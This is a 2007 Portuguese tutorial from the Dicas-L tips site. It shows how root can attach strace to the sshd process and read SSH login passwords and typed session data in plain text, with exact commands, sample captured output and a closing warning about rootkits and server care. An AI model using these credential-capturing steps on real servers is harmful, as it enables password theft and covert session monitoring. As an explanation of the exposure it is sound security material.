Você está aqui: Home  → Arquivo Dicas-L

Assine a Lista Dicas-L

Receba diariamente por email as dicas
de informática publicadas neste site
Para se descadastrar, clique aqui.

Sniffando o SSH com o Strace

Colaboração: Leandro Godoy

Data de Publicação: 11 de Maio de 2007

É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace.

1. Sniffando a Senha do Login:

1. No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd:

     Zion:~# ps aux | grep sshd | grep -v grep
     root      6097  0.0  0.1   4792  1076 ?        Ss   16:49   0:00 /usr/sbin/sshd
   

2. De posse deste pid dispare o Strace (como root):

     Zion:~# strace -f -p 6097 -o snif_ssh.txt &
   

   Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar outras opções de filtragem e paãmetros.

3. De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh com um usuário qualquer:

     godoy@Zion:~$ ssh localhost
     Password: textoplano
     Last login: Mon May  7 17:01:15 2007 from localhost.localdomain
     godoy@Zion:~$
   

4. Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure pelas chamadas read ou write:

     Zion:~# cat snif_ssh.txt | grep read | more
     6521  write(4,  \0\0\0\1\0\0\0\ntextoplano , 18 <unfinished  >
     6520  <  read resumed>  7\0\0\0\1\0\0\0\ntextoplano , 19) = 19
     6520  write(7,  \0\0\0\ntextoplano , 14 <unfinished  >
     6522  <  read resumed>  \6\0\0\0\ntextoplano , 15) = 15
   

2. Sniffando as demais transferências de dados:

1. Digite o seguinte comando, restringindo a busca as chamadas read e write:

     Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 &
   

2. Teste alguns comandos no cliente:

     godoy@Zion:~$ cat > teste.txt
     ======== OK =======
     Sniffou??
     ======= OK =======
     godoy@Zion:~$
   

3. Verifique o log o servidor pesquisando por write ou read:

     Zion:~# cat snif_ssh.txt | grep  ===
     6586  <  read resumed>  ======== OK =======\n , 4096) = 20
     6586  write(1,  ======== OK =======\n , 20) = 20
     6586  <  read resumed>  ======= OK =======\n , 4096) = 19
     6586  write(1,  ======= OK =======\n , 19) = 19
     Zion:~# cat snif_ssh.txt | grep  Sniff
     6586  <  read resumed>  Sniffou??\n , 4096) = 10
     6586  write(1,  Sniffou??\n , 10)       = 10
     Zion:~#
   

   Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo bem grande, cabe aqui um script para filtrar melhor o log que será gravado no arquivo sniff_ssh.txt.
   Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!!
   E que também pode-se criar um rootkit que se aproveite desta comunicação de SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes.
   Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes.

     Leandro Godoy
     Consultor de TI
     LPI Certified Level 2
     Mandriva Instructor Certified
     ITIL Foundation Certified
     http://www.blogmind.com.br/
   

PDF	RSS	Imprimir

Referências Adicionais

Referências adicionais sobre os assuntos abordados neste site podem ser encontradas em nossa Bibliografia.

Avalie esta dica

Opinião dos Leitores

João paulo
18 Fev 2011, 01:02

gostei do poster!

*Nome:
Email:
	Me notifique sobre novos comentários nessa página Oculte meu email
*Texto:
	Para publicar seu comentário, digite o código contido na imagem acima

Powered by Scriptsmill Comments Script